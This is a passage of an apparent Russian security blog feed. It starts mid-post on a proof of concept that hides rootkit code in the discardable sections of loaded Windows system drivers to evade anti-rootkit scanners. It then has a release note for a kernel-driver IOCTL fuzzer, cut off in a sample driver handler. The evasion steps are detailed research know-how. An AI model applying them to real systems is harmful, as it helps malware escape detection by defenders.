уже тем более удалить) используя RootkitUnhooker, GMER, RootRepeal или любой другой антируткит подобного класса.&lt;br /&gt;&lt;br /&gt;Однако, антируткиты по-прежнему остаются актуальными для детектирования системных аномалий в более широком понимании этого слова: модификация кода в памяти, DKOM, драйвера-фильтры или использование стандартных механизмов нотификации, и так далее. Кроме всего перечисленного важной функцией хороших антируткитов является и детектирование скрытого кода в памяти - кода, который исполняется на процессоре и при этом не принадлежит какому-либо файлу на диске. Данная техника детектирования интересна тем, что способна &lt;b&gt;указать на факт заражения системы абсолютно любым сложным руткитом&lt;/b&gt; (из тех, что имеют распространение в настоящий момент) &lt;b&gt;даже в том случае, если другие его скрытые объекты обнаружены не были&lt;/b&gt; (зараженные/подмененные файлы, загрузочные сектора, итд.).&lt;br /&gt;&lt;br /&gt;Выглядит детектирование скрытого исполняемого кода так:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_8WKXMyf2wH8/TRN9jadWtRI/AAAAAAAAAC0/N9HGaLy9CAk/s1600/hiddencode_rku.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 1px solid black;" src="http://4.bp.blogspot.com/_8WKXMyf2wH8/TRN9jadWtRI/AAAAAAAAAC0/N9HGaLy9CAk/s1600/hiddencode_rku.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;i&gt;Rootkit Unhooker&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_8WKXMyf2wH8/TRN9iVuUwkI/AAAAAAAAACw/BUWmsWeoT9E/s1600/hiddencode_kerneldetective.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 1px solid black;" src="http://3.bp.blogspot.com/_8WKXMyf2wH8/TRN9iVuUwkI/AAAAAAAAACw/BUWmsWeoT9E/s1600/hiddencode_kerneldetective.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;i&gt;Kernel Detective&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_8WKXMyf2wH8/TRN9kG7OZjI/AAAAAAAAAC8/UkecrMJ8C_Q/s1600/root_repeal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 1px solid black;" src="http://1.bp.blogspot.com/_8WKXMyf2wH8/TRN9kG7OZjI/AAAAAAAAAC8/UkecrMJ8C_Q/s1600/root_repeal.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;i&gt;RootRepeal&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_8WKXMyf2wH8/TRN9jhKy3gI/AAAAAAAAAC4/8R9anQJfLRk/s1600/hiddencode_sns.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 1px solid black;" src="http://1.bp.blogspot.com/_8WKXMyf2wH8/TRN9jhKy3gI/AAAAAAAAAC4/8R9anQJfLRk/s1600/hiddencode_sns.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;i&gt;Safe'n'Sec Rootkit Detector&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;Подобным образом детектируются такие, казалось бы, продвинутые руткиты как TDSS, ZeroAccess а так же практически все известные буткиты, благодаря чему данные механизмы часто используются специалистами как средство для быстрого первичного диагностирования состояния системы.&lt;br /&gt;Существует мнение, что обход детектирования скрытого исполняемого кода не возможен без реализации собственного планировщика потоков или других сложных техник, однако, мы решили показать, что на практике дела обстоят несколько проще, и всерьёз&amp;nbsp;полагаться на такое детектирование не стоит.&lt;br /&gt;&lt;br /&gt;Рассмотрим возможные способы реализации поиска скрытого исполняемого кода:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Проверка стартовых адресов потоков, хранящихся в полях StartAddress и Win32StartAddress структуры _ETHREAD. Наиболее примитивный способ.&lt;/li&gt;&lt;li&gt;Перехват ключевых функций ядра (например - ExAllocatePool или IofCallDriver) с проверкой адреса возврата на предмет&amp;nbsp;принадлежности образу какого-либо загруженного драйвера. Способ, который относительно легко обходится путём загрузки в память своей копии ядра. Кроме того, не способен детектировать скрытый код в том случае, если исполняющий его поток большую часть времени проводит в "спящем" состоянии.&lt;/li&gt;&lt;li&gt;Перехват планировщика. Заключается в перехвате какой-либо ключевой функции планировщика потоков, которая вызывается при их переключении (например - SwapContext). В обработчике перехвата текущие адреса потоков, которые отдают или получают квант процессорного времени, проверяются на предмет&amp;nbsp;принадлежности&amp;nbsp;образу какого-либо загруженного драйвера. Данный способ так же не способен детектировать код который исполняется потоком, находящимся в состоянии ожидания большую часть времени.&lt;/li&gt;&lt;li&gt;Анализ указателей. Заключается в поиске активных перехватов кода в ядре (системные вызовы, IRP-обработчики, сплайсинг, нотификаторы) с последующей проверкой адресов обработчиков этих перехватов на предмет принадлежности&amp;nbsp;образу какого-либо загруженного драйвера. Более надёжный способ, но работать он будет только в том случае, если руткит устанавливает какие-либо перехваты заведомо известного типа.&lt;/li&gt;&lt;li&gt;Анализ стеков вызовов. Заключается в перечислении всех активных потоков и получении стека &amp;nbsp;вызовов для каждого из них. Адрес каждой функции из стека вызовов проверяется на предмет принадлежности&amp;nbsp;образу какого-либо загруженного драйвера. Самый совершенный способ, свободный от перечисленных выше недостатков.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;После ознакомления с перечисленными реализациями на ум приходит идея копировать исполняемый код руткита поверх загруженного в память образа какого-либо стандартного системного драйвера (не трогая его файл на диске, разумеется). Для этого должны быть удовлетворены следующие условия:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Не должно нарушаться нормальное функционирование загруженного драйвера.&lt;/li&gt;&lt;li&gt;Участок образа загруженного драйвера (который будет использоваться для хранения кода руткита) должен быть выбран таким образом, что бы антируткит не обнаружил каких-либо модификаций при сверке кода в памяти с тем, что содержится в файле на диске.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Данные условия соблюдаются при внедрении кода руткита в так называемые Discardable-секции PE файла (те, которые имеют установленный флаг IMAGE_SCN_MEM_DISCARDABLE).&amp;nbsp;В случае с драйверами режима ядра Discardable-флаг указывает PE-загрузчику на то, что секция может быть выгружена из памяти после завершения инициализации драйвера. Обычно,&amp;nbsp;Discardable-флаг имеют секции содержащие ресурсы, базовые поправки или инициализационный код драйвера. Такие секции помещаются линковщиком в конец образа:&lt;/div&gt;&lt;div&gt;&lt;pre&gt;kd&amp;gt; !dh beep.sys&lt;br /&gt;&lt;br /&gt;File Type: EXECUTABLE IMAGE&lt;br /&gt;FILE HEADER VALUES&lt;br /&gt;     14C machine (i386)&lt;br /&gt;       5 number of sections&lt;br /&gt;3B7D82E5 time date stamp Sat Aug 18 00:47:33 2001&lt;br /&gt;&lt;br /&gt;   ...&lt;br /&gt;     &lt;br /&gt;SECTION HEADER #3&lt;br /&gt;    INIT name&lt;br /&gt;     284 virtual size&lt;br /&gt;     880 virtual address&lt;br /&gt;     300 size of raw data&lt;br /&gt;     880 file pointer to raw data&lt;br /&gt;       0 file pointer to relocation table&lt;br /&gt;       0 file pointer to line numbers&lt;br /&gt;       0 number of relocations&lt;br /&gt;       0 number of line numbers&lt;br /&gt;E2000020 flags&lt;br /&gt;         Code&lt;br /&gt;         &lt;span class="Apple-style-span" style="color: red;"&gt;Discardable&lt;/span&gt;&lt;br /&gt;         (no align specified)&lt;br /&gt;         Execute Read Write&lt;br /&gt;&lt;br /&gt;SECTION HEADER #4&lt;br /&gt;   .rsrc name&lt;br /&gt;     3C8 virtual size&lt;br /&gt;     B80 virtual address&lt;br /&gt;     400 size of raw data&lt;br /&gt;     B80 file pointer to raw data&lt;br /&gt;       0 file pointer to relocation table&lt;br /&gt;       0 file pointer to line numbers&lt;br /&gt;       0 number of relocations&lt;br /&gt;       0 number of line numbers&lt;br /&gt;42000040 flags&lt;br /&gt;         Initialized Data&lt;br /&gt;         &lt;span class="Apple-style-span" style="color: red;"&gt;Discardable&lt;/span&gt;&lt;br /&gt;         (no align specified)&lt;br /&gt;         Read Only&lt;br /&gt;&lt;br /&gt;SECTION HEADER #5&lt;br /&gt;  .reloc name&lt;br /&gt;      9A virtual size&lt;br /&gt;     F80 virtual address&lt;br /&gt;     100 size of raw data&lt;br /&gt;     F80 file pointer to raw data&lt;br /&gt;       0 file pointer to relocation table&lt;br /&gt;       0 file pointer to line numbers&lt;br /&gt;       0 number of relocations&lt;br /&gt;       0 number of line numbers&lt;br /&gt;42000040 flags&lt;br /&gt;         Initialized Data&lt;br /&gt;         &lt;span class="Apple-style-span" style="color: red;"&gt;Discardable&lt;/span&gt;&lt;br /&gt;         (no align specified)&lt;br /&gt;         Read Only&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Как известно, в общем случае загрузка драйвера режима ядра осуществляется с помощью функции &lt;a href="http://msdn.microsoft.com/en-us/library/ff566470(VS.85).aspx"&gt;ZwLoadDriver&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Рассмотрим её работу:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;ZwLoadDriver получает из указанного ключа реестра системной службы путь к файлу её драйвера, после чего вызывает функцию MmLoadSystemImage.&lt;/li&gt;&lt;li&gt;MmLoadSystemImage выполняет чтение исполняемого файла с диска и его проецирование в память, после завершения которого вызывает функцию&amp;nbsp;PsCallImageNotifyRoutines.&lt;/li&gt;&lt;li&gt;PsCallImageNotifyRoutines выполняет вызов нотификаторов, которые были установлены с помощью функции &lt;a href="http://msdn.microsoft.com/en-us/library/ff559957(v=vs.85).aspx"&gt;PsSetLoadImageNotifyRoutine&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;MmLoadSystemImage&amp;nbsp;вызывает точку входа загруженного образа. Если точка входа вернула статус ошибки - образ немедленно выгружается. В случае успеха вызывается функция&amp;nbsp;MmFreeDriverInitialization.&lt;/li&gt;&lt;li&gt;MmFreeDriverInitialization перечисляет все секции образа и выгружает те их них, которые имеют флаг&amp;nbsp;IMAGE_SCN_MEM_DISCARDABLE.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Для демонстрации техники сокрытия исполняемого кода в Discardable-секциях был разработан PoC, который представляет собой драйвер режима ядра работающий следующим образом:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Драйвер устанавливается в систему как служба, имеющая тип запуска SERVICE_BOOT_START (запускающаяся на ранних этапах загрузки операционной системы).&lt;/li&gt;&lt;li&gt;Во время инициализации драйвер устанавливает нотификатор на загрузку исполняемых образов с помощью&amp;nbsp;функции&amp;nbsp;&lt;a href="http://msdn.microsoft.com/en-us/library/ff559957(v=vs.85).aspx"&gt;PsSetLoadImageNotifyRoutine&lt;/a&gt;. Функция-нотификатор ожидает загрузки системного драйвера, Discardable-секции которого будут использоваться для хранения скрытого исполняемого кода. В PoC-е, в качестве таких драйверов, были выбраны beep.sys, ndiswan.sys, i8042prt.sys или wanarp.sys.&lt;/li&gt;&lt;li&gt;При загрузке любого из перечисленных драйверов PoC выполняет перехват его точки входа методом модификации кода и отключает нотификатор.&lt;/li&gt;&lt;li&gt;Обработчик перехваченной точки входа вызывает оригинальную, а после того, как она вернула управление - снимает&amp;nbsp;флаг&amp;nbsp;IMAGE_SCN_MEM_DISCARDABLE&amp;nbsp;с секций драйвера-жертвы (для того, что бы предотвратить выгрузку этих секций из памяти) и копирует поверх них свой код.&amp;nbsp;&lt;/li&gt;&lt;li&gt;После того, как код был успешно внедрен в&amp;nbsp;Discardable-секции - с помощью функции &lt;a href="http://www.blogger.com/"&gt;&lt;span id="goog_1797157675"&gt;&lt;/span&gt;PsCreateSystemThread&lt;span id="goog_1797157676"&gt;&lt;/span&gt;&lt;/a&gt; создается системный поток, который начинает его исполнение.&lt;/li&gt;&lt;li&gt;Созданный поток вызывает функцию &lt;a href="http://msdn.microsoft.com/en-us/library/ff567117(VS.85).aspx"&gt;ZwUnloadDriver&lt;/a&gt; для выгрузки уже ненужного драйвера PoC-а и приступает к исполнению "полезной нагрузки".&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;В качестве полезной нагрузки PoC всего лишь циклически выводит отладочное сообщение с пятисекундным интервалом, однако, вместо этого мог быть реализован и любой стандартный руткит-функционал.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_8WKXMyf2wH8/TRSX1rs1CBI/AAAAAAAAADE/L-6fVg1IGzc/s1600/debug.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 1px solid black;" src="http://4.bp.blogspot.com/_8WKXMyf2wH8/TRSX1rs1CBI/AAAAAAAAADE/L-6fVg1IGzc/s1600/debug.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Отладочные сообщения PoC-а&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;PoC работоспособен на всех 32-х разрядных версиях Windows начиная с XP, скрытый исполняемый код не детектируется ни одним публично доступным антируткитом (тесты были проведены на RootkitUnhooker, GMER, RootRepeal, Kernel Detective и Safe'n'Sec Rootkit Detector).&amp;nbsp;&lt;/div&gt;&lt;div&gt;Исходные тексты и исполняемые файлы PoC-а доступны для загрузки &lt;a href="http://www.esagelab.com/files/DrvHide-PoC-23.12.10.zip"&gt;в виде архива&lt;/a&gt;, а так же в &lt;a href="https://github.com/Cr4sh/DrvHide-PoC"&gt;репозитории на GitHub-е&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-40177810242832065?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/40177810242832065/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2010/12/blog-post.html#comment-form' title='Комментарии: 5'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/40177810242832065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/40177810242832065'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2010/12/blog-post.html' title='Обход детектирования скрытого исполняемого кода'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_8WKXMyf2wH8/TRN9jadWtRI/AAAAAAAAAC0/N9HGaLy9CAk/s72-c/hiddencode_rku.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-4729383203826126295</id><published>2010-12-14T04:20:00.000-08:00</published><updated>2010-12-14T04:27:33.043-08:00</updated><title type='text'>Новый блог</title><content type='html'>Приветствую всех старых и новых знакомых.&lt;br /&gt;&lt;br /&gt;Данный блог является дальнейшей &lt;a href="http://cr4sh-0x48k.livejournal.com/45822.html"&gt;эволюцией&lt;/a&gt; моего &lt;a href="http://cr4sh-0x48k.livejournal.com/"&gt;LJ-аккаунта&lt;/a&gt;.&lt;br /&gt;Некоторые старые записи доступны по &lt;a href="http://d-olex.blogspot.com/search/label/%D1%81%D1%82%D0%B0%D1%80%D1%8B%D0%B5%20%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D0%B8"&gt;соответствующему тегу&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-4729383203826126295?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/4729383203826126295/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2010/12/%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9-%D0%B1%D0%BB%D0%BE%D0%B3.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/4729383203826126295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/4729383203826126295'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2010/12/%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9-%D0%B1%D0%BB%D0%BE%D0%B3.html' title='Новый блог'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-1679739059926324</id><published>2010-12-14T02:19:00.000-08:00</published><updated>2011-12-03T16:36:11.233-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='уязвимости'/><category scheme='http://www.blogger.com/atom/ns#' term='программы'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='старые записи'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>Обновление программы IOCTL Fuzzer</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/tech/%d0%be%d0%b1%d0%bd%d0%be%d0%b2%d0%bb%d0%b5%d0%bd%d0%b8%d0%b5-%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d1%8b-ioctl-fuzzer"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Мы выпустили глобальное обновление IOCTL Fuzzer - программы для автоматического выявления уязвимостей в драйверах режима ядра при обработке IOCTL запросов. Подробности работы с данной программой рассматривались в статье &lt;a href="http://www.rsdn.ru/article/asm/driverholes.xml"&gt;Уязвимости в драйверах режима ядра для Windows&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;В текущей версии фаззера присутствуют следующие нововведения:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Поддержка Windows 7&lt;/li&gt;&lt;li&gt;Полная поддержка 64-х разрядных версий Windows&lt;/li&gt;&lt;li&gt;Мониторинг исключений&lt;/li&gt;&lt;li&gt;Режим "честного фаззинга" (отправка IOCTL запросов из контекста процесса фаззера)&lt;/li&gt;&lt;li&gt;Разные режимы генерации некорректных данных для фаззинга&lt;/li&gt;&lt;li&gt;Возможность запуска фаззинга/мониторинга на начальных этапах загрузки операционной системы&lt;/li&gt;&lt;/ul&gt;Рассмотрим самые важные из них более подробно.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Поддержка 64-х разрядных версий Windows&lt;/h3&gt;Для работы на Windows x64 предусмотрена отдельная версия фаззера - ioctlfuzzer64.exe, отличия которой от 32-х разрядной версии минимальны. Заключаются они в способе перехвата системного вызова &lt;a href="http://msdn.microsoft.com/en-us/library/ms648411(VS.85).aspx" rel="nofollow"&gt;NtDeviceIoControlFile&lt;/a&gt;(): на x32 - замена адреса обработчика системного вызова в таблице KiServiceTable, а на x64 - сплайсинг (модификация кода) оригинального обработчика. Переход на сплайсинг был обусловлен тем, что в 64-х разрядных версиях Windows в KiServiceTable хранятся не сами адреса обработчиков системных вызовов, а 4-х байтовые смещения этих обработчиков относительно начала таблицы.&lt;br /&gt;&lt;br /&gt;Фаззер не имеет функций отключения &lt;a href="http://en.wikipedia.org/wiki/Kernel_Patch_Protection"&gt;PatchGuard&lt;/a&gt; (защита от модификации кода ядра) и действительной цифровой подписи файла драйвера, поэтому его запуск на 64-х разрядных версиях Windows следует производить исключительно с активным удалённым отладчиком режима ядра, при наличии которого PatchGuard и проверка цифровых подписей драйверов выключаются автоматически.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ioctlfuzzer-2010/ioctlfuzzer64.png"&gt;&lt;img alt="Версия фаззера для Windows x64" src="http://dl.dropbox.com/u/22903093/blog/ioctlfuzzer-2010/ioctlfuzzer64.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Мониторинг исключений&lt;/h3&gt;Во время фаззинга (причём не только драйверов) хакеры довольно часто встречаются со следующей ситуацией: внутри исследуемой программы происходит попытка записи по недействительному (но потенциально контролируемому атакующим) адресу, которая "давится" встроенной в код программы обработкой исключений. В результате наличие уязвимости никак не скажется на поведении программы во время тестирования, и как следствие - такая уязвимость с огромной долей вероятности останется просто незамеченной.&lt;br /&gt;&lt;br /&gt;Для решения подобных проблем и используют мониторинг исключений, суть которого сводится к тому, что бы каким-либо образом перехватить информацию об возникшем исключении до того, как его успеет обработать тестируемая программа.&lt;br /&gt;&lt;br /&gt;К сожалению, все существующие на данный момент программы для мониторинга исключений или слишком медленны и не универсальны (касается тех, которые используют стандартный &lt;a href="http://msdn.microsoft.com/en-us/library/ms679309(v=vs.85).aspx"&gt;debug API&lt;/a&gt;) или работают только на нескольких относительно старых версиях Windows (касается популярной программы &lt;a href="http://code.google.com/p/openrce-snippets/source/browse/trunk/standalone/ExcpHook/readme.txt"&gt;ExcpHook&lt;/a&gt;). По этой причине нами был разработан собственный инструмент для мониторинга исключений свободный от данных недостатков, который в последствии был интегрирован в IOCTL Fuzzer.&lt;br /&gt;&lt;br /&gt;Принцип его работы заключается в перехвате&amp;nbsp;не экспортируемой и не документированной&amp;nbsp;функции ядра KiDispatchException() методом сплайсинга. А так как адрес данной функции получается из отладочных символов ядра, которые фаззер автоматически загружает с PDB сервера Microsoft, реализованный способ перехвата не привязан к конкретной версии операционной системы и является универсальным.&lt;br /&gt;&lt;br /&gt;Монитор исключений записывает в лог следующую информацию:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Имя процесса и идентификатор потока, в контексте которого произошло исключение&lt;/li&gt;&lt;li&gt;Код исключения, с указанием текстовых констант для тех, которые являются стандартными&lt;/li&gt;&lt;li&gt;Адрес вызвавшей исключение инструкции и так же дополнительные параметры исключения&lt;/li&gt;&lt;li&gt;Ассемблерная мнемоника инструкции, которая вызвала исключение&lt;/li&gt;&lt;li&gt;Состояние регистров процессора на момент возникновения исключения&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ioctlfuzzer-2010/ioctlfuzzer64-exceptions.png"&gt;&lt;img alt="Мониторинг исключений" src="http://dl.dropbox.com/u/22903093/blog/ioctlfuzzer-2010/ioctlfuzzer64-exceptions.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Для активации мониторинга исключений необходимо указать в командной строке к приложению ioctlfuzzer.exe параметр "--exceptions".&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Режим "честного фаззинга"&lt;/h3&gt;Старая версия фаззера отправляла "мусорные" IOCTL запросы из контекста того же процесса, где был перехвачен оригинальный IOCTL запрос, что на практике приносило некоторое количество "ложных срабатываний" фаззера на не эксплуатируемых уязвимостях.&lt;br /&gt;&lt;br /&gt;Для того, что бы проиллюстрировать причину таких "ложных срабатываний", рассмотрим следующий пример кода обработки IOCTL запроса в драйвере:&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;typedef &lt;/span&gt;&lt;span style="color: blue;"&gt;struct&lt;/span&gt;&lt;span style="color: black;"&gt; _REQUEST_BUFFER&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szString[];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;} REQUEST_BUFFER,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;PREQUEST_BUFFER;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; Указатель на доверенный процесс, который устанавливается,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; к примеру, при инициализации драйвера.&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;PEPROCESS m_TrustedProcess &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; NULL;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;    PIO_STACK_LOCATION stack &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; IoGetCurrentIrpStackLocation(Irp);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;    Irp&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;IoStatus.Status &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; ns;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;    Irp&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;IoStatus.Information &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (stack&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;MajorFunction &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; IRP_MJ_DEVICE_CONTROL)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; извлечение параметров IOCTL запроса&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;        ULONG Code &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; stack&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;Parameters.DeviceIoControl.IoControlCode;&lt;br 